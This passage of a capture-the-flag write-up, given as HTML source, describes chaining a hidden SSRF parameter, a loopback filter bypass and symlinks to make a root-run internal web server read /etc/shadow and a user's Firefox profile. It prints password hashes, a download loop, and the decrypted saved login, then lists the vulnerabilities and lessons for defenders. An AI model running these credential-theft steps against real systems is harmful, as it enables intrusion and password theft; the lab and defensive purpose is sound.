&lt;span class="nt"&gt;&amp;lt;li&amp;gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"flag.pyc"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;flag.pyc&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;li&amp;gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"test.py"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;test.py&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/ul&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The flag is hidden as &lt;code&gt;.root.txt&lt;/code&gt; (dotfile), not &lt;code&gt;root.txt&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://&amp;lt;MACHINE_IP&amp;gt;:8080/view_image &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'Content-Type: application/x-www-form-urlencoded'&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'www=http://0/root_dir_link/.root.txt'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;-
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Root-owned flag recovered with &lt;strong&gt;zero privilege escalation on the box itself&lt;/strong&gt; - purely by abusing the root-run internal HTTP server's willingness to follow a symlink &lt;code&gt;beth&lt;/code&gt; was allowed to create.&lt;/p&gt;

&lt;p&gt;Used the same trick against &lt;code&gt;/etc/shadow&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;ln&lt;/span&gt; &lt;span class="nt"&gt;-s&lt;/span&gt; /etc/shadow shadow_link
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://&amp;lt;MACHINE_IP&amp;gt;:8080/view_image &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'Content-Type: application/x-www-form-urlencoded'&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'www=http://0/shadow_link'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;root:$6$MuyQc/EB$TJ0f4UvSAQ/e8N2ehICim6KRPqsD2RBqQHRtaxluPLxeWazD3PU5RCc35JR62gKK6WvpA9v0r73jswtU4KSLU/:19792:0:99999:7:::
...
beth:$6$A/tivpZQ$Cgshl0A8kvAR08NLdpSeeZwimPLbipJ.KrVuWVOvKu8AT7cl8b1J5.2VvaS0fu8sa74Jd7pdNpqN/gmFLOC6W.:19807:0:99999:7:::
sshd:*:19616:0:99999:7:::
charles:$6$yO4vvijF$RIQZn9g5y5s3cP61AvKHe9ou2miZgmPdzlf.4gWinIEaG4PyBFPm5cgm0OMQF18./TBhs48Q/UmjOCs/ye7dV0:19798:0:99999:7:::
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Full &lt;code&gt;/etc/shadow&lt;/code&gt; including &lt;code&gt;root&lt;/code&gt;, &lt;code&gt;beth&lt;/code&gt;, and &lt;code&gt;charles&lt;/code&gt; password hashes, read purely through the SSRF + symlink combo.&lt;/p&gt;

&lt;h2&gt;
  
  
  Pivoting to Charles' Firefox Profile
&lt;/h2&gt;

&lt;p&gt;Same technique against &lt;code&gt;charles&lt;/code&gt;'s home directory:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;ln&lt;/span&gt; &lt;span class="nt"&gt;-s&lt;/span&gt; /home/charles charles_dir
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://&amp;lt;MACHINE_IP&amp;gt;:8080/view_image &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'Content-Type: application/x-www-form-urlencoded'&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'www=http://0/charles_dir'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;title&amp;gt;&lt;/span&gt;Directory listing for /charles_dir/&lt;span class="nt"&gt;&amp;lt;/title&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;ul&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;li&amp;gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;".bash_history"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;.bash_history@&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;li&amp;gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;".bash_logout"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;.bash_logout&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;li&amp;gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;".bashrc"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;.bashrc&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;li&amp;gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;".mozilla/"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;.mozilla/&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;li&amp;gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;".profile"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;.profile&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/ul&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Walked into the Firefox profile:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://&amp;lt;MACHINE_IP&amp;gt;:8080/view_image &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'Content-Type: application/x-www-form-urlencoded'&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'www=http://0/charles_dir/.mozilla/firefox/8k3bf3zp.charles'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;title&amp;gt;&lt;/span&gt;Directory listing for /charles_dir/.mozilla/firefox/8k3bf3zp.charles/&lt;span class="nt"&gt;&amp;lt;/title&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;ul&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;li&amp;gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"cert9.db"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;cert9.db&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;li&amp;gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"cookies.sqlite"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;cookies.sqlite&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;li&amp;gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"key4.db"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;key4.db&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;li&amp;gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"logins-backup.json"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;logins-backup.json&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;li&amp;gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"logins.json"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;logins.json&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;li&amp;gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"places.sqlite"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;places.sqlite&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/span&gt;
... (full profile directory listing, dozens of standard Firefox profile files)
&lt;span class="nt"&gt;&amp;lt;/ul&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;cert9.db&lt;/code&gt;, &lt;code&gt;key4.db&lt;/code&gt;, and &lt;code&gt;logins.json&lt;/code&gt; are exactly what's needed to decrypt saved browser passwords offline. Pulled the whole profile through the SSRF with a small download loop:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;mkdir &lt;/span&gt;profile &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;cd &lt;/span&gt;profile
&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; download.sh &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
BASE="http://&amp;lt;MACHINE_IP&amp;gt;:8080/view_image"
DIR="http://0/charles_dir/.mozilla/firefox/8k3bf3zp.charles"

for f in .parentlock addons.json addonStartup.json.lz4 AlternateServices.txt &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="sh"&gt;
         broadcast-listeners.json cert9.db compatibility.ini containers.json &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="sh"&gt;
         content-prefs.sqlite cookies.sqlite extension-preferences.json &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="sh"&gt;
         extensions.json favicons.sqlite formhistory.sqlite handlers.json &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="sh"&gt;
         key4.db logins-backup.json logins.json permissions.sqlite pkcs11.txt &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="sh"&gt;
         places.sqlite prefs.js protections.sqlite search.json.mozlz4 &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="sh"&gt;
         sessionCheckpoints.json sessionstore.jsonlz4 shield-preference-experiments.json &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="sh"&gt;
         SiteSecurityServiceState.txt storage-sync-v2.sqlite storage-sync-v2.sqlite-shm &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="sh"&gt;
         storage-sync-v2.sqlite-wal storage.sqlite times.json webappsstore.sqlite &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="sh"&gt;
         xulstore.json; do
    echo "Fetching &lt;/span&gt;&lt;span class="nv"&gt;$f&lt;/span&gt;&lt;span class="sh"&gt;..."
    curl -s -X POST "&lt;/span&gt;&lt;span class="nv"&gt;$BASE&lt;/span&gt;&lt;span class="sh"&gt;" &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="sh"&gt;
      -H 'Content-Type: application/x-www-form-urlencoded' &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="sh"&gt;
      -d "www=&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;DIR&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;/&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;f&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;" -o "&lt;/span&gt;&lt;span class="nv"&gt;$f&lt;/span&gt;&lt;span class="sh"&gt;"
done
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bash download.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Fetching .parentlock...
Fetching addons.json...
...
Fetching key4.db...
...
Fetching xulstore.json...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Fixing Binary Corruption from the SSRF Proxy
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;firefox_decrypt&lt;/code&gt; failed immediately against the pulled files:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 firefox_decrypt/firefox_decrypt.py profile/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;WARNING - profile.ini not found in profile/
ERROR - Couldn't initialize NSS, maybe 'profile/' is not a valid profile?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;file profile/key4.db profile/cert9.db
xxd profile/key4.db | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-3&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;profile/key4.db:  SQLite 3.x database, ... page size 57986 ...
00000000: 5351 4c69 7465 2066 6f72 6d61 7420 3300  SQLite format 3.
00000010: e282 ac00 0101 0040 2020 0000 0004 0000  .......@  ......
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The header parses as a valid-looking SQLite file, but the field values (&lt;code&gt;page size 57986&lt;/code&gt;, oversized page/database counts) are nonsensical for a real Firefox profile - the byte &lt;code&gt;e2 82 ac&lt;/code&gt; at offset 0x10 is the UTF-8 encoding of the &lt;code&gt;€&lt;/code&gt; (Euro sign) character, which is exactly what you get when a raw byte like &lt;code&gt;0x80&lt;/code&gt; gets misinterpreted as CP1252/Latin-1 and re-encoded as UTF-8. That's the app's own &lt;code&gt;requests.get(url).text&lt;/code&gt; doing implicit text decoding on binary data before we ever saw it - every binary file pulled through the SSRF was silently mangled.&lt;/p&gt;

&lt;p&gt;Tried reversing the mangling locally:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; fix.py &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
import sys
def fix_file(path, outpath):
    with open(path, 'rb') as f:
        data = f.read()
    try:
        text = data.decode('utf-8')
        fixed = text.encode('latin-1')
        with open(outpath, 'wb') as out:
            out.write(fixed)
        print(f"{path}: decoded/re-encoded successfully, {len(data)} -&amp;gt; {len(fixed)} bytes")
    except UnicodeDecodeError as e:
        print(f"{path}: FAILED - {e}")
    except UnicodeEncodeError as e:
        print(f"{path}: FAILED on re-encode - {e}")
if __name__ == "__main__":
    fix_file(sys.argv[1], sys.argv[2])
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 fix.py key4.db key4_fixed.db
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;key4.db: FAILED on re-encode - 'latin-1' codec can't encode character '\u20ac' in position 16: ordinal not in range(256)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Tried &lt;code&gt;cp1252&lt;/code&gt; instead of &lt;code&gt;latin-1&lt;/code&gt; (since &lt;code&gt;€&lt;/code&gt; specifically only exists in cp1252's extended range, not raw latin-1):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 fix.py key4.db key4_fixed.db
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;key4.db: FAILED on re-encode - 'charmap' codec can't encode character '\ufffd' in position 31299: character maps to &amp;lt;undefined&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Still failing - some bytes got replaced with the Unicode replacement character (&lt;code&gt;�&lt;/code&gt;, &lt;code&gt;U+FFFD&lt;/code&gt;) during the original &lt;code&gt;requests.get().text&lt;/code&gt; decode, meaning &lt;strong&gt;information was permanently lost&lt;/strong&gt; the moment the SSRF response was decoded as text server-side. No local re-encoding trick can recover bytes that were already thrown away. The fix has to happen &lt;strong&gt;before&lt;/strong&gt; the data crosses that lossy text boundary - i.e., fetch the files locally on the target (where they're still raw bytes) instead of proxying them through the Flask app's &lt;code&gt;.text&lt;/code&gt; property.&lt;/p&gt;

&lt;p&gt;Since &lt;code&gt;beth&lt;/code&gt; has a normal shell, just used &lt;code&gt;wget&lt;/code&gt; directly against the same internal root-run server from &lt;em&gt;inside&lt;/em&gt; the box (loopback access is unrestricted once you're already local, and &lt;code&gt;wget&lt;/code&gt; preserves binary data correctly):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;wget http://127.0.0.1/charles_dir/.mozilla/firefox/8k3bf3zp.charles/key4.db &lt;span class="nt"&gt;-O&lt;/span&gt; /tmp/key4.db
wget http://127.0.0.1/charles_dir/.mozilla/firefox/8k3bf3zp.charles/cert9.db &lt;span class="nt"&gt;-O&lt;/span&gt; /tmp/cert9.db
wget http://127.0.0.1/charles_dir/.mozilla/firefox/8k3bf3zp.charles/logins.json &lt;span class="nt"&gt;-O&lt;/span&gt; /tmp/logins.json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then pulled the now-clean files back to the attacker box over SCP (proper binary transfer, no text decoding involved anywhere):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;scp &lt;span class="nt"&gt;-i&lt;/span&gt; id_rsa beth@&amp;lt;MACHINE_IP&amp;gt;:/tmp/key4.db &lt;span class="nb"&gt;.&lt;/span&gt;
scp &lt;span class="nt"&gt;-i&lt;/span&gt; id_rsa beth@&amp;lt;MACHINE_IP&amp;gt;:/tmp/cert9.db &lt;span class="nb"&gt;.&lt;/span&gt;
scp &lt;span class="nt"&gt;-i&lt;/span&gt; id_rsa beth@&amp;lt;MACHINE_IP&amp;gt;:/tmp/logins.json &lt;span class="nb"&gt;.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;key4.db                                                                        100%  288KB   1.2MB/s   00:00
cert9.db                                                                       100%  224KB 979.4KB/s   00:00
logins.json                                                                    100%  645     8.5KB/s   00:00
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;file key4.db cert9.db
xxd key4.db | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-3&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;key4.db:  SQLite 3.x database, last written using SQLite version 3041002, page size 32768, ...
00000000: 5351 4c69 7465 2066 6f72 6d61 7420 3300  SQLite format 3.
00000010: 8000 0101 0040 2020 0000 0004 0000 0009  .....@  ........
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Sane page size, sane header - clean binary this time.&lt;/p&gt;

&lt;h2&gt;
  
  
  Decrypting the Firefox Profile
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;mkdir&lt;/span&gt; ../profile_clean
&lt;span class="nb"&gt;cp &lt;/span&gt;key4.db cert9.db logins.json ../profile_clean/
python3 ../firefox_decrypt/firefox_decrypt.py ../profile_clean/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;WARNING - profile.ini not found in ../profile_clean/
Continuing and assuming '../profile_clean/' is a profile location

Website:   https://www.buckinghampalace.com
Username: 'Charles'
Password: 'thekingofengland'
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Charles' saved browser login recovered.&lt;/p&gt;

&lt;h2&gt;
  
  
  Key Vulnerabilities
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Vulnerability&lt;/th&gt;
&lt;th&gt;Location&lt;/th&gt;
&lt;th&gt;Impact&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Hidden/undocumented SSRF parameter (&lt;code&gt;www&lt;/code&gt;) not matching the visible form field (&lt;code&gt;image_url&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/view_image&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Discoverable only via parameter fuzzing; classic "the UI lies about what the backend accepts"&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Full Server-Side Request Forgery, response body returned verbatim to the client&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;requests.get(url).text&lt;/code&gt; in &lt;code&gt;view_image()&lt;/code&gt;/&lt;code&gt;home()&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Arbitrary internal network/file access from an unauthenticated endpoint&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Substring-based &lt;code&gt;localhost&lt;/code&gt;/&lt;code&gt;127.0.0.1&lt;/code&gt;/&lt;code&gt;0.0.0.0&lt;/code&gt; blacklist&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;is_local()&lt;/code&gt; in &lt;code&gt;app.py&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Trivially bypassed with alternate loopback notation (&lt;code&gt;http://0/&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Root-owned, unauthenticated &lt;code&gt;python3 -m http.server&lt;/code&gt; bound to loopback, serving a user's home directory&lt;/td&gt;
&lt;td&gt;Internal port 80&lt;/td&gt;
&lt;td&gt;Combined with the SSRF, becomes an arbitrary-file-read-as-root primitive&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;HTTP directory listing follows symlinks and serves target content with the &lt;em&gt;server process's&lt;/em&gt; permissions, not the symlink creator's&lt;/td&gt;
&lt;td&gt;Same internal server&lt;/td&gt;
&lt;td&gt;Lets a low-privilege user (&lt;code&gt;beth&lt;/code&gt;) read &lt;code&gt;/root&lt;/code&gt;, &lt;code&gt;/etc/shadow&lt;/code&gt;, and another user's home directory without ever escalating privileges locally&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;requests.get(url).text&lt;/code&gt; silently mis-decodes binary responses as text&lt;/td&gt;
&lt;td&gt;SSRF response handling&lt;/td&gt;
&lt;td&gt;Corrupts any binary file (SQLite DBs, keys, images) proxied through the endpoint - a real "feature", not a security bug per se, but a serious trap for exploit reliability&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Lessons / Takeaways
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Never trust that a visible form field name matches the backend parameter actually being used.&lt;/strong&gt; The exposed &lt;code&gt;image_url&lt;/code&gt; field was a decoy (or leftover dead code); the real sink (&lt;code&gt;www&lt;/code&gt;) had to be found by fuzzing, not by reading the HTML form.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;SSRF filters built on substring blacklists of &lt;code&gt;127.0.0.1&lt;/code&gt;/&lt;code&gt;localhost&lt;/code&gt; are incomplete without also blocking alternate IP notations&lt;/strong&gt; (&lt;code&gt;0&lt;/code&gt;, &lt;code&gt;0x7f000001&lt;/code&gt;, &lt;code&gt;017700000001&lt;/code&gt;, IPv6 &lt;code&gt;::1&lt;/code&gt;, decimal/octal forms, etc.). Any of these can slip straight past a naive string check.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Running any service - even a "harmless" quick &lt;code&gt;python3 -m http.server&lt;/code&gt;- as root is dangerous, especially bound to loopback "because it's internal."&lt;/strong&gt; Loopback-only doesn't mean unreachable; any SSRF anywhere on the box turns it into a root-privileged file oracle.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A directory-serving HTTP daemon that follows symlinks inherits the process's read permissions, not the symlink owner's.&lt;/strong&gt; This is exactly how &lt;code&gt;beth&lt;/code&gt;, without ever getting a root shell, read &lt;code&gt;/root&lt;/code&gt;, &lt;code&gt;/etc/shadow&lt;/code&gt;, and &lt;code&gt;charles&lt;/code&gt;'s entire home directory - each just a &lt;code&gt;ln -s&lt;/code&gt; plus a GET request away.&lt;/li&gt;
&lt;li&gt;
